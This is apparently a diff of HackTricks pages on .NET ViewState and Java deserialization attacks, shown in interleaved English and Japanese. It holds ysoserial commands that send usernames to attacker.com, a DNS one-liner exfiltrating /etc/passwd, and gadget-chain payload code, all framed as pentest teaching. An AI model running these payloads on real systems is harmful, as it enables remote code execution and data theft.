ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありません** が、次のものは **必要です**:
```bash
--apppath="/" --path="/hello.aspx"
```
### テストケース: 3 .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのMachine Keyが必要です**。
In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してMachinekeyを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用してViewStateデシリアライズ脆弱性を利用してRCEを実行できます。
Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
- ViewStateデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
- Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
### テストケース: 4 .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
代わりに、これはweb.configファイルの`machineKey`パラメータ内に以下のオプションを指定することで行うことができます。
```bash
compatibilityMode="Framework45"
```
前回と同様に、**値は暗号化されています。** そのため、**有効なペイロードを送信するには攻撃者がキーを必要とします。**
As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して、使用されているキーを見つけることができます:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -167,46 +142,39 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して:
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
有効なMachine keyが特定されたら、**次のステップは** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **を使用してシリアライズされたペイロードを生成することです。**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath`
`__VIEWSTATEGENERATOR`の値がある場合、その値を使って`--generator`パラメータを**使用**し、`--path`および`--apppath`パラメータを**省略**することができます。
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
### Test Case 6 ViewStateUserKeys is being used
The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload wont be processed by the application**.\
You need to use one more parameter in order to create correctly the payload:
### テストケース 6 ViewStateUserKeysが使用されている
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 成功した悪用の結果 <a href="#poc" id="poc"></a>
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
[こちらでさらに情報を確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## References
## 参考文献
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
@ -215,9 +183,8 @@ Check for [further information here](<https://github.com/carlospolop/hacktricks/
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,75 +2,64 @@
{{#include ../../banners/hacktricks-training.md}}
## DNS request on deserialization
The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
## デシリアライズ時のDNSリクエスト
クラス `java.net.URL``Serializable` を実装しており、これはこのクラスがシリアライズ可能であることを意味します。
```java
public final class URL implements java.io.Serializable {
```
このクラスには**奇妙な動作**があります。ドキュメントから:“**2つのホストは、両方のホスト名が同じIPアドレスに解決できる場合、同等と見なされます**”。\
そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれか**の**関数**を呼び出すたびに、IPアドレスを取得するための**DNSリクエスト**が**送信**されます。
This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**.
**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
**`hashCode`**関数を**URL**オブジェクトから**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで済みます。これは、`HashMap`の**`readObject`**関数の**最後**でこのコードが実行されるためです:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`.
Now, lets take a look to the code of `URLObject.hashCode()` :
それは`HashMap`内のすべての値で`putVal`を**実行**する**予定です**。しかし、より重要なのは、すべての値で`hash`を呼び出すことです。これは`hash`関数のコードです:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
ご覧のとおり、**デシリアライズ**する際に**`HashMap`**の関数`hash`は**すべてのオブジェクト**で**実行され**、**`hash`**の実行中に**オブジェクトの`.hashCode()`が実行されます**。したがって、**URL**オブジェクトを**含む****`HashMap`**を**デシリアライズ**すると、**URLオブジェクト**は**`.hashCode()`を実行します**。
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
次に、`URLObject.hashCode()`のコードを見てみましょう:
```java
protected int hashCode(URL u) {
int h = 0;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
hashCode = handler.hashCode(this);
return hashCode;
```
ご覧のとおり、`URLObject``.hashCode()`を実行すると、`hashCode(this)`が呼び出されます。この関数のコードは次のとおりです:
```java
protected int hashCode(URL u) {
int h = 0;
You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**.
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
`getHostAddress`がドメインに対して実行され、**DNSクエリが発行されます**。
### URLDNS payload code example
したがって、このクラスは**悪用**されて**DNSクエリを発行**し、**デシリアライズ**が可能であることを**示す**ため、または**情報を抽出**するために使用できます(コマンド実行の出力をサブドメインとして追加できます)。
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
### URLDNSペイロードコードの例
[ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。ただし、コーディングを理解しやすくするために、ysoserialのものを基にした独自のPoCを作成しました
```java
import java.io.File;
import java.io.FileInputStream;
@ -86,117 +75,113 @@ import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### More information
### さらなる情報
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- 元のアイデアでは、commons collectionsペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。しかし、こちらがその投稿です: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
[**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)をBurp Suite App Store (Extender)からダウンロードできます。
**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit.
**GadgetProbe**は、サーバーのJavaクラスに**Javaクラスが存在するかどうか**を確認し、**脆弱性**があるかどうかを知ることができます。
### How does it work
### どのように機能するか
**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.
**GadgetProbe**は、前のセクションの**DNSペイロード**を使用しますが、DNSクエリを実行する**前に**、**任意のクラスをデシリアライズしようとします**。もし**任意のクラスが存在すれば**、**DNSクエリ**が**送信され**、GadgetProbeはこのクラスが存在することを記録します。もし**DNS**リクエストが**送信されなければ**、これは**任意のクラスが正常にデシリアライズされなかった**ことを意味し、したがってそれは存在しないか、**シリアライズ可能/悪用可能ではない**ということです。
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested.
GitHub内には、[**GadgetProbeにはいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)があり、テスト用のJavaクラスが含まれています。
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### More Information
### さらなる情報
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Scanner
## Javaデシリアライズスキャナー
This scanner can be **download** from the Burp App Store (**Extender**).\
The **extension** has **passive** and active **capabilities**.
このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\
この**拡張機能**には**パッシブ**およびアクティブな**機能**があります。
### Passive
### パッシブ
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
デフォルトでは、すべてのリクエストとレスポンスを**パッシブにチェック**し、**Javaシリアライズマジックバイト**を探し、見つかった場合は脆弱性警告を表示します:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Active
### アクティブ
**Manual Testing**
**手動テスト**
You can select a request, right click and `Send request to DS - Manual Testing`.\
Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
リクエストを選択し、右クリックして`Send request to DS - Manual Testing`を選択できます。\
次に、_Deserialization Scanner Tab_ --> _Manual testing tab_内で**挿入ポイント**を選択し、**テストを開始**します(使用されるエンコーディングに応じて適切な攻撃を選択します)。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
「手動テスト」と呼ばれていますが、かなり**自動化されています**。それは自動的に**デシリアライズ**が**任意のysoserialペイロード**に**脆弱であるかどうか**をチェックし、ウェブサーバー上のライブラリを確認し、脆弱なものをハイライトします。**脆弱なライブラリ**を**チェック**するために、**Javas Sleeps**、**CPU**消費による**スリープ**、または前述のように**DNS**を使用することを選択できます。
**Exploiting**
**悪用**
Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
脆弱なライブラリを特定したら、リクエストを_Exploiting Tab_に送信できます。\
このタブでは、再度**インジェクションポイント**を**選択**し、ペイロードを作成したい**脆弱なライブラリ**と**コマンド**を**記入**します。次に、適切な**攻撃**ボタンを押すだけです。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java Deserialization DNS Exfil information
Make your payload execute something like the following:
### JavaデシリアライズDNSエクスフィルトレーション情報
ペイロードを次のように実行させます:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### More Information
### さらなる情報
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
Check the posts:
投稿を確認してください:
- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,8 +4,7 @@
## Java Transformers to Rutime exec()
In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:
いくつかの場所で、次のようなApacheコモンコレクションのトランスフォーマーを使用したJavaデシリアライズペイロードを見つけることができます:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -17,168 +16,148 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
//Execute gadgets
lazyMap.get("anything");
}
}
```
Javaのデシリアライズペイロードについて何も知らない場合、このコードがなぜcalcを実行するのかを理解するのは難しいかもしれません。
If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.
First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\
Also it's interesting to know that the **payload** being **executed** here is **equivalent** to:
まず第一に、**JavaのTransformer**は**クラスを受け取り**、**別のクラスに変換する**ものであることを知っておく必要があります。\
また、ここで**実行されているペイロード**は**次のものと同等**であることを知っておくと興味深いです:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Or **more exactly**, what is going to be executed at the end would be:
または**正確に言うと**、最後に実行されるのは次のようになります:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### どのように
### How
So, how is the first payload presented equivalent to those "simple" one-liners?
**First** of all, you can notice in the payload that a **chain (array) of transforms are created**:
では、最初のペイロードがどのように「シンプル」なワンライナーと同等であるかを見てみましょう。
**まず**、ペイロードには**変換のチェーン(配列)が作成されている**ことに気づくことができます:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
コードを読むと、配列の変換を何らかの方法で連鎖させることができれば、任意のコマンドを実行できることに気付くでしょう。
If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.
So, **how are those transforms chained?**
では、**それらの変換はどのように連鎖するのですか?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute:
ペイロードの最後のセクションでは、**Mapオブジェクトが作成されます**。次に、`LazyMap`からマップオブジェクトとチェーンされたトランスフォーマーを使って関数`decorate`が実行されます。以下のコードから、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性内にコピーされることがわかります:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
そして、素晴らしいフィナーレが実行されます: `lazyMap.get("anything");`
And then the great finale is executed: `lazyMap.get("anything");`
This is the code of the `get` function:
これは `get` 関数のコードです:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
And this is the code of the `transform` function
これは`transform`関数のコードです。
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
